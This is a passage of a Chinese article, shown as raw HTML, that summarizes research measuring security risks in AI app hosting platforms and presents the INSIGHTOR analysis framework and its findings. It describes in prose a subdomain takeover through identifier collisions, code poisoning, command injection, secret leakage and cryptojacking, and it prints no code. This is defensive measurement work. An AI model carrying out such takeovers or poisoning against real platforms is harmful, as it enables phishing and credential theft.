2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">▶ </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">标识符复用（Identifier Reuse</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">，R1</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Hugging Face 给应用生成子域名时，会把标识符里的斜杠 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">/</span></span><span leaf=""> 换成连字符 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">-</span></span><span leaf="">（如 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">user/space-name</span></span><span leaf=""> → </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">user-space-name.hf.space</span></span><span leaf="">）。但</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">用户名本身也允许带连字符</span></strong><span leaf="">，于是 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">user/space-name</span></span><span leaf=""> 和 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">user-space/name</span></span><span leaf=""> 会</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">映射到同一个子域名</span></strong><span leaf="">。据此可发动一种域名接管：攻击者预先注册 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">user-space</span></span><span leaf=""> 这类账号并蹲守目标应用被删除。一旦原应用被删，那些已嵌入第三方网站的 iframe 就成了指向无主子域名的悬空链接；攻击者随即创建 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">user-space/name</span></span><span leaf=""> 占用该子域名（此时平台不再追加随机后缀），于是原本正常的 iframe 开始从 Hugging Face 官方域名加载攻击者的内容。这种情况下网站方无需改动代码、也很难察觉，可被长期用于钓鱼和凭据窃取。</span></p><p nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8055555555555556" data-type="jpeg" data-w="792" height="400" style="padding: 0px;margin: auto;box-sizing: border-box;display: inline-block;max-width: 100%;vertical-align: middle;width: auto;height: auto;border: rgba(0, 0, 0, 0);" width="100%" data-imgfileid="100005584" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce9ec98&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FQSjGzxHEMdsboFCyzjSuUxjAibdgmUdWeRSiaa2vKTeXiaib9dJx3bmT1FeY1YZyh6s4GDKpct34GhTGQoJu9QQ3QOBcicuIT9Sb1053gFjNRrW0%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">图</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">4</span></span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-style: normal;"><span leaf="">标识符复用攻击原理</span></span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">数据上：93.8 万个 Hugging Face 应用中，</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">47.03%</span></strong><span leaf=""> 标识符含连字符，其中 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">99.79%</span></strong><span leaf=""> 至少存在一个可被抢注的冲突用户名；30 天监测期内观察到 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">5,069</span></strong><span leaf=""> 次应用删除；我们还确认了 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">9 </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">个</span></strong><span leaf="">正在嵌入&#34;已删除且可被劫持&#34;应用的真实网站（论文指出这是测量下界）。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">▶ </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">代码投毒（Code Poisoning</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">，R2</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">AI 应用的代码可通过两种方式传播：一是用户</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">显式复制</span></strong><span leaf="">；二是更隐蔽的</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">隐式复制</span></strong><span leaf="">——Replicate 上用户一旦使用某应用的训练功能，平台会自动在其账号下生成一个继承原始源码的新应用，且不通知开发者。这意味着一个带后门的应用，可以等待他人复制、或在不知情中触发复制，从而扩散。</span></p><h3 style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-weight: bold;">3.3 输入校验不足（V1）</span></span></h3><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">作为 Web 应用，AI 应用同样面临输入注入，风险来自两方面：一是开发者</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">未对用户输入做净化</span></strong><span leaf="">（如把用户传入的文件路径直接拼进 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">os.system()</span></span><span leaf=""> 调用的 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">ffmpeg</span></span><span leaf=""> 命令）；二是依赖了</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">存在已知漏洞的第三方</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf=""> SDK</span></strong><span leaf="">——以广泛使用的前端库 Gradio 为例，它曾出现多个代码注入 CVE，会波及依赖它的应用。</span></p><h3 style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><span textstyle="" style="font-weight: bold;">3.4 敏感数据泄露（L1 / L2）</span></span></h3><ul style="padding: 0px 0px 0px 1em;margin: 0px;box-sizing: border-box;list-style: disc;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-2"><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">运行时日志泄露（L1</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong><span leaf="">：在多用户共享的日志里，我们识别出三类被泄数据——无意打印的</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">密钥</span></strong><span leaf="">、Hugging Face 用于认证的 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">JWT </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">令牌</span></strong><span leaf="">、以及包含 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">LLM </span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">提示词</span></strong><span leaf="">在内的用户输入/输出，对应 OWASP LLM02（敏感信息泄露）与 LLM07（系统提示词泄露）。</span></p></li><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">容器文件泄露（L2</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">）</span></strong><span leaf="">：源码里的硬编码凭据，以及自定义基础镜像中夹带的私有密钥，都会随镜像分发而泄露。</span></p></li></ul><h3 style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">3.5 算力劫持（Cryptojacking，P1）</span></h3><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">AI 应用依赖高性能 GPU，在&#34;用户付费&#34;计费模式下、或用户把应用拉到本地运行时，攻击者可把挖矿程序藏进看似正常的应用里——应用照常输出结果，同时占用受害者的 GPU 挖矿。</span></p><hr style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><div data-role="title" data-tools="135编辑器" data-id="172862" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="display: flex;z-index: 1;margin-bottom: -10px;"><div style="background-color: #90efff;padding: 3px 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align:center;"><strong><span leaf="">PART.04</span></strong></p></div></div></div><p style="width: 45px;margin-left: auto;margin-bottom: -25px;margin-right: 4px;margin-top: -28px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3983333333333334" data-type="gif" data-w="600" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005593" src="https://wechat2rss.xlab.app/img-proxy/?k=7069c782&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FQSjGzxHEMdseQAm2Y6SVwFVtOVXucibDnzFgSWk5586kuqOjATlyyC5RkiaTNWKcKbticXxHobpXtd66kxpcb4OIWnrQcqVIoZiaXOD4zPvsAFM%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="background: linear-gradient(to right,#0776ff,#838eff);padding: 10px 5px;margin-left: 5px;box-sizing:border-box;"><p style="font-size: 16px;color: rgb(255, 255, 255);text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 17px;">INSIGHTOR：大规模测量框架</span></span></strong></p></div></div></div><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">发现攻击向量之后，还要回答影响范围有多大，为此我们实现了分析框架 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">INSIGHTOR</span></strong><span leaf="">。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">数据采集</span></strong><span leaf="">：针对三个平台各自的接口差异定制采集策略，最终收集到 Hugging Face </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">938,602</span></strong><span leaf=""> 个、Replicate </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">25,340</span></strong><span leaf=""> 个、ModelScope </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">8,604</span></strong><span leaf=""> 个应用，以及它们的源码仓库、容器镜像和元数据，时间跨度为 2024 年 9 月至 2025 年 12 月。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">检测方法</span></strong><span leaf="">：INSIGHTOR 采用混合策略——对幽灵令牌、标识符复用、过度授权 iframe 等</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">架构</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">/</span></strong><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">配置类</span></strong><span leaf="">问题，用预定义规则结合元数据扫描；对</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">输入注入</span></strong><span leaf="">和</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">敏感数据泄露</span></strong><span leaf="">这类需深入分析的问题，基于 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">CodeQL</span></strong><span leaf=""> 做</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">数据流（污点）分析</span></strong><span leaf="">，把 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">predict()</span></span><span leaf="">、Gradio </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">Textbox()</span></span><span leaf="">、Streamlit 输入等作为&#34;源&#34;，把 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">os.system</span></span><span leaf="">、</span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">eval</span></span><span leaf="">、</span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">print</span></span><span leaf="">、</span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">logger.*</span></span><span leaf=""> 等作为&#34;汇&#34;，追踪从用户输入/密钥到危险函数或日志的可达路径；对供应链风险和硬编码密钥，复用成熟开源扫描器 GuardDog 与 KeySentinel。</span></p><p style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">INSIGHTOR 的作用是一个</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">筛选器</span></strong><span leaf="">，把人工核查的搜索空间从 97 万个应用缩小到可复核的候选集。它属于静态分析，存在精度与召回的取舍，结果以人工抽样验证，不保证逐例精确。</span></p><hr style="padding: 0px;margin: 0px;box-sizing: border-box;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><div data-role="title" data-tools="135编辑器" data-id="172862" data-pm-slice="0 0 []"><div style="margin: 10px auto;"><div style="display: flex;justify-content: flex-start;"><div style="display: flex;z-index: 1;margin-bottom: -10px;"><div style="background-color: #90efff;padding: 3px 10px;box-sizing:border-box;"><p style="font-size: 16px;color: #ffffff;text-align:center;"><strong><span leaf="">PART.05</span></strong></p></div></div></div><p style="width: 45px;margin-left: auto;margin-bottom: -25px;margin-right: 4px;margin-top: -28px;box-sizing:border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.3983333333333334" data-type="gif" data-w="600" style="width: 100%;display: block;vertical-align:baseline;box-sizing:border-box;" data-width="100%" data-imgfileid="100005592" src="https://wechat2rss.xlab.app/img-proxy/?k=643e16f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FQSjGzxHEMdtr3MOpYmte9JMn5E0h2vHefeUNU5icWmaDlRiavgVsgIQhllDghXmS8XibD74hOzDT1NF37KyTfHz8aCzrQb53RJhcCMpDOMRaEA%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><div style="background: linear-gradient(to right,#0776ff,#838eff);padding: 10px 5px;margin-left: 5px;box-sizing:border-box;"><p style="font-size: 16px;color: rgb(255, 255, 255);text-align: left;"><strong data-brushtype="text"><span leaf=""><span textstyle="" style="font-size: 17px;font-weight: bold;">测量结果</span></span></strong></p></div></div></div><ul style="padding: 0px 0px 0px 1em;margin: 0px;box-sizing: border-box;list-style: disc;color: rgba(0, 0, 0, 0.87);font-family: &#34;Helvetica Neue For Number&#34;, -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-2"><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;text-indent: 0em;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">输入注入</span></strong><span leaf="">：识别出 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">1,442</span></strong><span leaf=""> 个潜在注入点，抽样 300 例人工确认 83 例为真实漏洞（精度约 27.67%），最常见的是把用户输入直接拼进 </span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">os.system()</span></span><span leaf="">、</span><span style="padding: 0px;margin: 0px;box-sizing: border-box;font-size: 15px;"><span leaf="">eval()</span></span><span leaf="">（CWE-78）。</span></p></li><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;text-indent: 0em;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">过时 SDK</span></strong><span leaf="">：</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">139,475</span></strong><span leaf="">（14.34%）个应用使用了含已知 RCE 漏洞的过时 Gradio；这是基于版本的暴露面统计，反映补丁滞后程度，并不等于每个都可被利用。</span></p></li><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;text-indent: 0em;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">密钥泄露进日志</span></strong><span leaf="">：在遵循官方密钥管理规范的前提下，仍有 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">936</span></strong><span leaf=""> 个应用因日志配置把密钥写进了世界可读日志（抽样 500 例确认 94 例）。用户输入方面，</span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">9,372</span></strong><span leaf=""> 个应用记录了用户输入，其中 61.41% 涉及提交给 LLM 的提示词，少数还涉及医疗等敏感数据。</span></p></li><li style="padding: 0px;margin: 0px;box-sizing: border-box;"><p style="padding: 0px;margin: 0px 0px 0px 48px;box-sizing: border-box;text-indent: 0em;"><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">硬编码令牌</span></strong><span leaf="">：在 4,846 个应用中检出 </span><strong style="padding: 0px;margin: 0px;box-sizing: border-box;"><span leaf="">3,418</span></strong><span leaf=""> 个唯一泄露令牌，覆盖 RSA 私钥、阿里云、Hugging Face、OpenAI、GitHub 等。一个 Replicate 官方应用把官方账号的 Hugging Face 令牌硬编码进镜像，连带出现在另外 76 